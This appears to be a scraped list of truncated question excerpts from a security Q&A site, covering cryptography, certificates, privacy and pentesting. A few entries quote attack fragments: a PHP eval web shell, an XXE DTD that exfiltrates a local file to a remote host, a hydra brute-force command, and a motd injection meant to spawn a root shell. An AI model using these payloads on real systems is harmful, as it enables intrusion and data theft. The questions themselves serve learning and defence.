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I am a web developer, but I have only a rudimentary grasp of security, e.g., be careful to sanitize inputs, store as little user data as possible, encrypt passwords, keep up with security issues of libraries and packages, etc. Today, I was approached by a client who does financial planning about replacing a spreadsheet...
By convention, I see a lot of folks using this approach to generate a private key from a nodejs console: require('crypto').randomBytes(64).toString('hex') But considering I could input other values besides 0-9 and A-Z, I wondered if my key would be more secure if I used other non hex-only characters? Second, if my key...
DLL hijacking means that malicious software gets admin rights from default or it means you need to elevate your privileges first? Because I tried to change a DLL in Windows/System32 folder, but I can't do it even though I ran my software with admin rights.
I got 5 dice and opened EFF's wordlist, and generated a random five-word passphrase (all letters small with spaces, no punctuation) for my PC. The words were making up a meaningful scene in my mind, so I made a complete sentence out of the words by adding some more words (like of, from, a, etc.) and punctuation. I am n...
I'm working with a company (say, Acme) that does some ongoing data collection and processing for me. The data in question is private but not all that sensitive. Part of Acme's service has password-protected access via the web, so Acme obviously needs to be handling security around internet-facing services. A few days a...
I am testing an internal application and come across a page where if I am able to make the application display a SQL error because it does not recognize the payload for ORDER BY sort direction. The query is: select xxx from something where xxx xxx xxx ORDER BY something ASC LIMIT..... I am able to control the ASC...
Problem Possible defenses against the attack vector of facial recognition via unwanted photographs. Background The advance of facial recognition technology has promoted unwarranted photographs from being a nuisance to being a potentially substantial threat, for recent examples see the cases of Clearwater AI and PimEyes...
Is there any security standard published by NIST or another reputed body in information security that explicitly forbids or discourages rolling your own crypto? If yes, would you please post the standard name/title, a link to it, and quote the section that says something to this effect? Such a document will help me to ...
I am attempting to run a brute-force attack on my router just as a proof of concept and have hit a problem in that the POST request requires a parameter of the current timestamp. Here is my current attempt hydra -l admin -P passwords.txt -V 192.168.0.1 http-post-form "/goform/formLogin:login_n=^USER^&login_pass=^PASS64...
I have generated a good number of leaf certificates with my root CA but now it(Root) has expired. Even though leaf certificates have a longer expiry date than root CA, they also expired due to expiration of Root CA. Do leaf certificates will still valid if I renew the Root CA with the same keys or Do I need to generate...
It's my understanding that the OpenSSL v1.1.1g commands ca and req require sections to be present in an OpenSSL configuration file in order to operate. Are there any other OpenSSL v1.1.1g commands that require a section to be present in a configuration file in order to operate?
Recently in an website I had noticed that the data which is received from the server is not the data that is being displayed.I think it would have been modified on client-side. So, Is there any way by which I can know which action is being performed by which script?
What is the secure way to support dev mode and production modes on embedded systems that support digital signing. Dev mode will skip signature verification.
I've got a small contract with a website; they have given me permission to stress test their website, testing for DOS attacks. I have some experience in the field, but I am no omniscient hacker. I'm running kali linux in a VM, with plenty of computing power allocated for a slowhttptest. I've tried the different tests t...
First of all, the understanding I have of the p parameter in scrypt is that it multiplies the amount of work to do, but in such a way that the additional workloads are independent from each other, and can be run in parallel. With the interpretation of p cleared out of the way, why is the recommended value still 1? More...
I originally posted this on the Apple Stack Exchange but it was suggested that it was off topic, so I’m posting it here in hopes that this is a more relevant place for it. Say that an iOS device has been compromised by some vulnerability. If one were to backup their device to their computer (or iCloud, but it’s my unde...
Starting at the Computer level, NordVPN gets installed. But according to the experts who know a lot better, a VPN isn't good enough. So going to the router's IPv4 network settings, the default DNS is changed from the ISPs default DNS (which would have been clearly listed there on the router page), over to Cloudfare's 1...
Context and system configuration: AWS EC2 instance with a public IP address AWS Route53-managed DNS with a somesubdomain.somedomain.io pointing to the above IP address Above AWS EC2 instance was not running all the time, it was stopped most of the time with only occasional periods of running Every time the EC2 instanc...
I'm building some simple dashboard app for myself, but I want to have them on multiple devices - hence the server and front end. As I will be the only user who will access the application server, what security should I implement? Stack: Postgres Ktor (Kotlin) server, HTTPS, only REST API Front end I'll run AWS Lightsai...
If I go to a cybercafe and use one of the shared computers, and use a social media application, which deletes session IDs when the browser is closed. A clever person comes, who knows about the application's behaviour (that this application deletes session IDs when someone closes their browser), he asks me to move quick...
How we call a website that perform things like translating or anything else, without performing an action/request or JavaScript event ? Take for example this site, the cipher text is generated without making any requests (You can see it in the network tab in dev tools). How do we call this type of site ?
Does the OpenSSL req command have a OpenSSL configuration file equivalent to the ca command's new_certs_dir option? I'd like to establish a default directory for all Certificate Signing Requests ("CSRs") that are created using the req command.
I have a windows 10 machine with AVG Free antivirus. Lately everytime I boot the machine up as soon as it gets to the desktop Chrome opens up on its own with a suspicios add to download stuff I do not need and a pop up to enable notifications from that site. I ran several full scans and today a boot scan but I am unabl...
A typicall pentesting activity has the following step : 1 - information gathering + enumeration 2 - vulnerability assessment (vulnerability scanning) 3 - exploitation 4 - post exploitation (persistence, clearing tracks, etc...) 5 - report writing Step 1 to 4 can be a cycle after getting a foothold. But ...
In below ssl diagram : I have one doubt with 1-way ssl. If there is an interceptor in-between client and server who can alter in following way : In step 8, when client is sending his symetric key to server, encrypted by server's public key, if interceptor ignores client message, instead sends its own key using same s...
I have found three files with name as below: a.phpfile.txt b.phpfile.txt c.phpfile.txt when i open, each file contained with the following code: <?php @eval($_POST[x]); I have deleted all the pages from my website, but i am need to know that with the above code, what a hacker can do with my site? I think, the...
What should I do if I'm receiving SMS on phone giving in verification code of TikTok app despite I have deleted and no longer use the application in my Android device? I got an international call instantly after SMS popped in my notifications.Is this a cyber attack or phishing?
In a php/mysql based system I work on, they recently found several SQL injection vulnerabilities. Those come from 3rd party plugins, and I must assume there are more to be discovered. My major concern is elevation of privileges, as almost all data except user data and credentials come from external systems and are over...
As many of you know Addtrust certificate https://crt.sh/?id=1 expired 30 May 2020 as well as many other intermediate certs and now we have to update certs on many servers to either root cert https://crt.sh/?id=1199354 or using another chain with above mentioned root (same private key) as intermediate https://crt.sh/?id...
Most of the online guides I found about using dm-crypt with a random keyfile use files bigger than 512 bits (64 bytes). For example: dd bs=512 count=4 if=/dev/urandom of=keyfile iflags=fullblock As the biggest key a cipher can use is 512 bits (aes-xts-plain64 splits it into two 256 bits key for AES-256), is there any ...
I am testing some exploits over WAN with a port-forwarded server and am attempting to use a specific exploit module with the payload being a windows/meterpreter/reverse_tcp shell. This is all executed within the metasploit console and not by physically generating a payload using msfvenom. Since I do not want to port-fo...
Im trying the phoenix vm, challenge stack-five on exploit.education (http://exploit.education/phoenix/stack-five/). I run onto a problem while exploiting a stack overflow. The challenge is run execve('/bin/sh') through shellcode. I grabbed the shellcode from shellstorm (http://shell-storm.org/shellcode/files/shellcode-...
I have gone over: Why do we need to sign the self-signed certificate? Basic self-signed certificate questions Is a self-signed SSL certificate much better than nothing? I am new to cryptography and security. I am trying to understand the point of self-signed certificates. I understand the point of certificates as a m...
I read about referrer header that some sites use to allow only requests made by the pages of the site. So if I make a page hacker.com, and let this page make a request to https://twitter.com/i/flow/add_phone , twitter will refuse this request as the referrer is not it's pages. How then I can access twitter.com for exam...
If CAs (Certification Authorities) start advertizing public keys of verified websites via some API, browsers can simply query them for each domain instead of asking websites to give them certificates signed by CAs. If malicious entities try to intercept traffic and do the TLS handshake, they'll fail because they won't ...
So I have a small electronics project where I am using common Mifare Classic 1K NFC tags as a means of authentication. (Mifare DesiFire is just too expensive) I know these aren't very secure so here are my ideas on improving on it. Make Card Read Only This makes it slightly harder to manipulate the card directly but ...
The named hardware dongles (or at least several models of them) allow me to store PGP secret keys key. Suppose I am using such a secret key to sign data (doesn't matter what). As I understand the operation happens on the hardware itself and the PGP secret key doesn't leave the device. Now suppose I am signing several G...
Websites often send a code to a cell phone number for verification. Is this secure? If it is not secure, are there any better alternatives?
My web application need to make call to 3rd party REST API which is protected by Basic authentication on some user click. We are planning to use a technical user for the call. This will expose the Authorization header in network call in browser dev tools. How can avoid exposing the authorization header to the user?
Suppose we want to store files in a way that has plausible deniability. Ie. we can deny the existance of those files. The approach is this: We allocate (or just use) a chuck of disk an initialize it with static noise. Then we write our file in there encrypted. We take care to handle the beginning of the ciphertext prop...
Let's theoretically assume I have an overflow vulnerability on a certain service I want to exploit. The service reside in 32bit Operating System on a 64bit Processor. I'm attempting to wrap my head around the coding challenges in regards to the different architecture used on these layers. Let's also set aside ASLR, DEP...
Assume I passed on my public key to a service provider for them to set up a "new" server and configure it for private key authentication (instead of root password). Is the server fingerprint verification during my initial connection to the server still necessary and/or helpful against MITM or any other attack? I realiz...
When attempting to exploit blind XXE as explained in this article, I got an error in my apache logs: PHP Warning: DOMDocument::loadXML(): Invalid URI: http://192.168.6.1/82a3ccab632c in Entity The DTD file: <!ENTITY % payload SYSTEM "file:///etc/hostname"> <!ENTITY % remote "<!ENTITY % send SYSTEM 'http://192.168....
There a javascript that is executing in my browser and it is generating session token. (This was a design requirement to the dev team Sesion token is generated on the client side - don't ask me why lol) I want to be able to modify the javascript variables during execution (just as if I was using Debug in Netbeans for i...
I came across a suspicious website called keylog.me (you can already tell from the name). I was as curious as heck to find out what it does, so I got on a VM (Fedora Linux which I reinstalled later) and went to it but the VM crashed. So then I went on it again with NoScript and there was a script embedded in an image (...
Some context: I was assinged on a pentest and found an application that let me place my own links in an a tag's href attribute. As expected, all strange values like javascript: were correctly filtered by an XSS filter, however I discovered that you could bypass this filter by injecting a TAB character in the middle of ...
One of the common way of implementing 2FA is using phone number Text message or Call with OTP. As I can see, usually web services show something like: OTP was sent to the number +*********34 Is it done because revealing the number is considered a vulnerability? If yes, then which one and is it described anywhere? I gu...
When arranging a pen test it's common practice to ask the client a set of questions, and use the answers either as the basis for further discussions, or to directly provide a test plan and quotation. For a mobile app specifically, what questions are helpful to include? For example: What platforms does the app support?...
Question #1 Does changing the Default Impersonation Level in WMI to "anonymous" or "identify" help mitigate against WMI exploitation, implants, and persistent threats on a local machine? If so, please explain why... and also potential unintended problems that could arise with those settings, if any at all, thanks. WMI ...
Any security benefit to winmgmt operating outside of shared svchost processes via the command winmgmt /standalonehost ? As for security, yes, it is useful for changing wbem Authentication levels, which is changed by the command winmgmt /standalonehost [#] but does setting winmgmt as a standalone host have any security ...
An employer (someone's employer) issued an android app and requests that all of the employees install it. During installation the app requests access to all of the phone's resources and it wouldn't work if the access is declined. The official purpose of the app is sending some internal requests concerning work-related ...
What makes the YubiHSM an HSM? Most HSMs I have seen have more memory and are faster, perhaps due to crypto-accelerators. They're generally big and inserted in data center racks, or plugged as PCIe cards. But the YubiHSM is tiny, I was wondering what makes it an HSM?
In the unlikely event that a root CA is breached (eg. Comodo, DigiNotar), how should people and companies respond? (Assume the people responding practice infosec & are aware of the problems of such a compromise) Possible responses: Assume much of the internet is insecure and temporarily stop/minimize using it Continu...
https://exchange.xforce.ibmcloud.com/vulnerabilities/31739 linuxpam-pamunix-security-bypass (31739) reported Jan 23, 2007 Linux-PAM could allow a remote attacker to bypass security restrictions, caused by a vulnerability in pam_unix.so when handling password hashes that consist of two characters. An attacker could e...
During a Forensic investigation, I parsed the sysdiagnose log file /brctl/Brctl-dump.txt and I discovered 50 devices connected to the same iCloud account. Is it possible to retrieve from Apple the connection times and location to iCloud?
I have a reverse shell from an application called openEMR to my kali host. Im trying to enumerate memcached manually however I get an error failed to listen on TCP port 11211: Address already in use any help would be appreciated. Ive tried to use the automated tools like nmap, metasploit, libmemcached-tools however the...
We have to protect a database connection string for a .NET desktop application that has an application-level database user. One option is to encrypt a section of the app.config using asp_regiis. But then every user of the application needs to have the key installed on their PC. If an intranet IIS server has SSL and Mic...
I uploaded my master key's public part to the keys.openpgp.org-keyserver. It has 4 UIDs set up (4 different e-mail addresses) and each of them are correct and valid e-mail addresses. The keyserver sent a confirmation mail to all of the e-mail addresses specified in my UIDs, but I did not receive a confirmation link on ...
Is there a way to view when changes were made to a USB key, such as when the USB key was formatted and/or when some files were transferred? I have seen this previous stackexchange question File system history on USB drives, but it wasnt clear if anywhere on the USB key a log will be available. NB. I only have the USB k...
I've been looking into ways to detect a Man In the Middle attack, when the client has "duped" into trusting third party CA. Examples of this are, anti-virus applications and corporate firewalls who are now installing their own certificate authorities on the client machines with the intention of performing MITM functio...
I'm in the UK. In order to top up a pay-as-you-go SIM card, I had to first ring the mobile network to associate my bank card with the SIM before asking them to credit £10 to it (future top-ups don't require a phone call). The mobile network's technician instructed me to input my debit card's full card number using my p...
If I can change my password with cmd net user example * without needing to confirm my old password, why, when I change my password in the usual way (via settings or control panel), do I need to confirm my old password? If the point of confirming a password is to prevent somebody who finds the PC open from signing in, t...
As I can see some sites were working yesterday and today they are not working so my guess is browsers have a grace period set in them. certificate lifespans limited to 1 year in browsers. Maybe this is based on the Certificate Authority. TLS 39 month certificate limit and Chrome's NET::ERR_CERT_VALIDITY_TOO_LONG error)...
My team is responsible for the creation and management of many passwords (hundreds), which we do almost exclusively programmatically (all generation is random-enough). We leverage a variety of of tools for automating different aspects of our infrastructure, including but not limited to Ansible, Docker, Jenkins, and Te...
I'm making an webapp which have to maintain some user specific data, so authentication is needed. My app is not anything mission critical. As this is the case, I thought of removing the whole sign-up/sign-in as it acts as a big barrier for a visitor. Instead the authentication is based solely on cookies. When they acce...
It seems common practice, when denying access to a user because of an incorrect email / password combination, to not specify which of the username or password was incorrect. This avoids leaking the information that an account does or doesn't exist with that email address. For instance, if I try to log in with my spouse...
I work in an organisation where a TMG server with port forwarding has been used successfully for a number of years to forward all http traffic to https for a particular web application. This meant that http or https would work on URLs for that web application. Recently this was seen as a security risk and http is no lo...
The password manager 1Password has a feature where multiple accounts in a group ("family") can share login information with each other. From my understanding, a password manager is never supposed to know my passwords because they are encrypted with my master password before being sent "to the cloud". How then can I dec...
For the past few weeks, I have frequently been receiving error messages from websites stating that the certificate is invalid. This tends to happen for a while and then resolve itself. Other devices on the same network connection are also experiencing odd behaviour, including a very sporadic internet connection that is...
I'm currently practicing buffer overflows, but there is one thing I don't understand yet. I have read this similar question. I understand that if you don't know the address of ESP you must look for an address that executes JMP ESP to jump to the injected shellcode. But do you really don't know the address of ESP? You d...
I'm trying to understand how OpenSSL parses its configuration file. In the sample configuration file that is installed with OpenSSL v1.1.1g, its seems to be divided into three main sections - the [ ca ] section, the [ req ] section, and the [ tsa ] section (because of the lines that contain ############# ... that sepa...
Is it a bad practice to store my user's ObjectId in a JWT in the sub claim? I could create an alternate UUID field in the user database and use this instead, but I wondered if I should? I use this sub claim in both the refreshToken and accessToken.
Everything is based on phones now. If I have someone's phone I can reset their Salesforce password, access any SAS services etc. Assume this Hacker finds someone's phone number Hacker buys (or works at) a T-Mobile franchise Looks up the IMEI for that phone number at T-Mobile Finds what services they use (eg Salesforce...
Is there a safe way for creating a proxy, tunnel, or VPN that cannot be detected by the datacenter or ISPs? I'm living in an oppressing country, but I've access to a VPS with less regulated access to the Internet. I was hoping to find a secure protocol for tunneling my traffic through that VPS without them knowing? Spe...
Can a Slow Post HTTP attack be done from a single client? The following source cites this line: https://medium.com/fantageek/understanding-socket-and-port-in-tcp-2213dc2e9b0c Ports are 16-bit numbers, therefore the maximum number of connections any given client can have to any given host port is 64K. But since the ma...
Suppose you are implementing a maintenance info banner that is publicly shown on your web application, meaning that even unauthenticated/unauthorised users can access this information easily. Let's assume that this banner won't contain any pieces of information regarding technical implementations, versions of third par...
My email service always logs the I.P. address of the device from which the email account was accessed(or an unsuccessful login attempt was made) for security reasons. While going through the list once, I found that I had quite a few different I.P. addresses on that list, most of which were successful logins. After some...
I setup Cloudflare CDN for my site. I added my site to Cloudflare and it asked me to add Cloudflare nameserver to my domain. I did that in my DNS registrar portal. That's all I did. Now I'm able to access my site with my domain name, and it is served from Cloudflare. The HTTPS padlock is green and good. How is this pos...
Suppose I create an encrypted container using VeraCrypt and want to upload it to Google Drive/One Drive for storage. The container is encrypted with AES-256. I know that no one can extract any meaning from that random data. But I am a very paranoid person! I know that the random data doesn't make any sense, but those p...
I have a large database where passwords are stored as strtolower(hex(md5(pass))) (which is a bad way to store passwords, prone to rainbow tables, cheap to dictionary attack, no salt, etc.), and I'm tasked with switching from md5 to bcrypt, I have to use a bcrypt implementation that silently truncates after 72 bytes, an...
I was using a movie streaming website, (the ones with all the pop-up ads at each click). Usually I just close the ad and nothing happens but recently when the ad pops up a .exe file is downloaded and luckily Chrome stopped it as it was labelled dangerous. I'm just curious as to how a file is automatically downloaded wi...
My question refers to a behavior on a production system with more than 100 million chat users. Some time ago I changed my account password and removed all devices connected to my account. The next day I noticed that during the night I still received all messages addressed to me by push notification on my mobile phone. ...
I am creating a public API that will require API key authentication. When a user wants to register a new API key, they send a request to one of our endpoints with a list of permissions they want. We generate a unique key (uuid4) and send it back to them encrypted by TLS. I am planning to hash the key that was created a...
I am a programmer but I am currently learning about web development in general. I'm creating a server on my local host using nodejs and express. It's available on my local host but I want to test it with a domain I have, so I can access it from any device anywhere. What I decided to do was change my router settings to ...
I found the article to be quite informative that addresses the question "Can Microsoft access my private files?" (Can Microsoft access all private data if a user installs Windows 10?), which includes my OneDrive files, but it didn't specifically mention the special folder called Personal Vault. Does Microsoft have jus...
I am working on Hack the VM (hard machine) for my OSCP preparation There is a web app with two drop down boxes.. Year and month.. both contain numbers and a submit to fetch data from DB based on year and month Now when I change the month value from 2,3,4,5 etc to / I get this as an error "You have an error in your SQL ...
I am building an API and trying to follow the 12 Factor App methodology. Using Docker, the methodology says containers must be disposable. Assuming the API will have high traffic, multiple docker containers will be running with the same app, connecting to the same database. Certain fields in the database are encrypted ...
If when we have a reverse shell and get persistence and we try to access the compromised target from another network different from the one which we created the payload, is that access to the compromised target still possible or only from the network where the payload was created?
Received a message from an unknown individual on WhatsApp messenger. I did not recognize the number (the person is not on my contact list), and there is probably an attachment (4 messages were sent). I deleted the message and the attachment without tapping to open the message (whatsapp asked whether I wanted to delete ...
We would like to limit access to our web servers (and eventually other services on the computer) to individuals that have been authorized access. Of course we don't trust passwords so we think certificates are the right answer. There are hundreds of these servers. Access to any one server should NOT provide access to a...
I am pentesting a website and I was successful in uploading a php backdoor and finding the path of the backdoor. The only issue is that in order to gain access to the uploaded file I need to be logged in with my account. i can do this by adding my session cookies in weevely but how can I add my session cookies in weeve...
I'd like to back up important Windows files for forensic purposes. I am aware of the Event Logs and Anti Virus logs, are there any other logs or files that have personal use information, connections or any other important information that could be backed up aside from that? If so, where is it located?
I am trying to learn John. I've been through the FAQ and this tutorial, but am stuck. I have made a RAR4 password hash. It's super simple. The password is 'test'. I now want to use a tool to crack it. I've saved it to a file "test.txt".It has: Red dead redemption.rar:$RAR3$1de613099dc859cfd000000001601*b52125c28c...
Today I switched ON the "Responsive Design Mode" under the "Web Developer" Section of the Firefox menu, and from the dropdown menu selected "iPhone X/XS iOS 12". So now every webpage I visited was being sent the request that the screen size of my device was "375x812". My question is that, can this method enhance my pro...
nmap smtp open relay test shows (verbose mode): smtp-open-relay: Server is an open relay (2/16 tests) MAIL FROM:<antispam@[xxx.xxx.xx.xx]> -> RCPT TO:<relaytest%nmap.scanme.org@XHS5P> MAIL FROM:<antispam@[xxx.xxx.xx.xx]> -> RCPT TO:<"relaytest@nmap.scanme.org"> MAIL FROM:<antispam@[xxx.xxx.xx.xx]> -> RCPT xxx.x...
I accidentally downloaded a .bin file on my computer, but I didn't click on it or open it. I did use my virus scanner to scan it (result: no threats) and then deleted it. I've read somewhere that .bin files can be extremely dangerous, but is my computer in any danger since all that happened was the file briefly existed...
I recently set up a wireguard server-network configuration with a home server and client devices. I have one main domain that I hope to route everything through via subdomains (in this example, abc.example.com, def.example.com, etc.). I hope to use nginx to do this routing. Is is possible/secure/recommended to register...
I can't understand why SOP (same-origin policy) cannot block Cross-Origin WebSocket Hijacking, I just read this article and I can't understand from where WebSocket requests comes from. From where does WebSocket requests comes from, that SOP cann't block attacks related to it ?
I recently started the Offensive Security AWAE course. On their connectivity guide page, they warn about the hazards of connecting to their labs: you will be exposing your computers' VPN IP to other students taking the course with you. Due to the nature of the course (and its participants!), your computer may be subje...
Is there a way to inject the 00-header to trigger a script that executes a shell upon ssh login. I'm facing a scenario where the 00-header has root privileges and I can modify it. I'm trying to have it spawn a root shell when I ssh into the machine as a regular user. sysadmin@********:/etc/update-motd.d$ echo "/bin/bas...

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